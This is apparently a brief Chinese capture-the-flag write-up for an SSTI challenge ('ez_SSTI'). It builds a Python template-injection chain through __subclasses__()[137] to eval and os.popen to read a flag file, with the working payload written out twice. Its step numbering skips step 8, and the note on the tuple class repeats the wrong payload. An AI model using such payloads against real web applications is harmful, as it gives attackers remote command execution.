[HNCTF 2022 WEEK2]ez_SSTI
payload:?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
1.首先输入{{8*8}}判断漏洞类型
2.然后输入{{''.__class__}}
判断当前对象所属的类可以发现为str,因为此处使用的是{{''.__class__}}
若使用的是{{''.__class__}}
则当前类为tuple
3.再输入{{''.__class__.__base__}}
查看当前类对应的父类是否为object
4.输入{{''.__class__.__base__.__subclasses__()}}
查看object类的所有子类
5.调用os._wrap_close
模块,可以发现此时它的下标为137
6.调用__init__
函数,判断模块是否重载
没有出现wrapper字样,所以没有出现重载
7.使用__globals__
函数查看全局变量,判断有哪些模块可以调用
可以看到有如下模块可供调用
9.?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
__builtins__
提供对python的所有内置标识符的直接访问
eval()
计算字符串表达式的值
popen()
执行一个shell以命令来开启一个进程